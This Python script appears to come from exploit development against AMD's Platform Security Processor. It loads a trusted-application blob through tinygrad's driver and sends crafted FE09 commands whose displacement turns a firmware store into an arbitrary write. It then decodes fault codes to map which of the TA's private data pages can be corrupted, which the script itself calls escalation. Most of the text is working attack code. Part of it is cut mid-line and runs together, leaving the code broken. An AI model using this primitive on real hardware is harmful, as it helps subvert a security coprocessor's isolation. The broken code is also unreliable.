#!/usr/bin/env python3 """Is the TA's OWN private data (.data/.bss/ctx) writable from the FE09 store? The TA image window [0x400000, 0x417000) is mapped (code RX, rodata RO, data/bss RW). GCP's handler legitimately writes its ctx (a1+792/+832/+840) and .data during normal operation, so those pages ARE read-write for the TA. Question: can the FE09 host-displaced store at PC 0x402fa0 reach them, or is it confined (per-phase MPU) to the shared buffer only? target = 0x04013000 + 0x418 + D (mod 2^32). A landed store doesn't wedge, so we test data/bss first (most likely RW), rodata next, code last (RO -> permission-fault control). DFSR (C2PMSG_85) decode (ARM VMSA short descriptor, FS = bits[3:0] with bit[10]): 0x5 / 0x7 -> translation fault (UNMAPPED) 0xD / 0xF -> permission fault (mapped but not writable here) A store that LANDS on a TA data/bss page = we can corrupt TA private state (escalation). A store that FAULTS with a PERMISSION code = the page exists but the MPU denies our write (the per-phase-confinement hypothesis). A translation fault = that page simply isn't mapped. """ import struct, sys sys.path.insert(0, '/root/psp/hw') from tinygrad import Device import tinygrad.runtime.autogen.am.am as am adev = Device["AMD"].iface.dev_impl psp = adev.psp PARAMS_VA = 0x04013000 BASE = PARAMS_VA + 0x418 STORE_PC = 0x402fa0 def c2p(n): return getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n).read() & 0xFFFFFFFF def frame(): return tuple(c2p(n) for n in range(82, 89)) def wide(): return {n: c2p(n) for n in range(78, 96)} def decode_dfsr(d): fs = (d & 0xF) | ((d >> 6) & 0x10) return {0x5: 'UNMAPPED(sect-xlat)', 0x7: 'UNMAPPED(page-xlat)', 0xD: 'PERM-DENIED(sect)', 0xF: 'PERM-DENIED(page)'}.get(fs, 'fs=%#x' % fs) def alloc(n): pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False) return pa, adev.paddr2mc(pa) app_pa, app_mc = alloc(0x80000) blob = open('/root/psp/contall/ta_22-0-0-77_7c426e7f.bin', 'rb').read() BUFLEN = 0x8000 cp, cmc = alloc(BUFLEN) def load(): n = (len(blob) + 3) & ~3 adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob)); adev.gmc.flush_hdp() c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32; t.app_len = len(blob) t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32; t.cmd_buf_len = BUFLEN try: r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id except Exception: return -1, None def fe09(sid, disp): buf = bytearray(b'\x00' * BUFLEN) struct.pack_into(' WRITABLE ***' if not name.startswith('control') else 'landed'), flush=True) print('ring:', 'WEDGED' if frame() != f0 else 'alive', flush=True)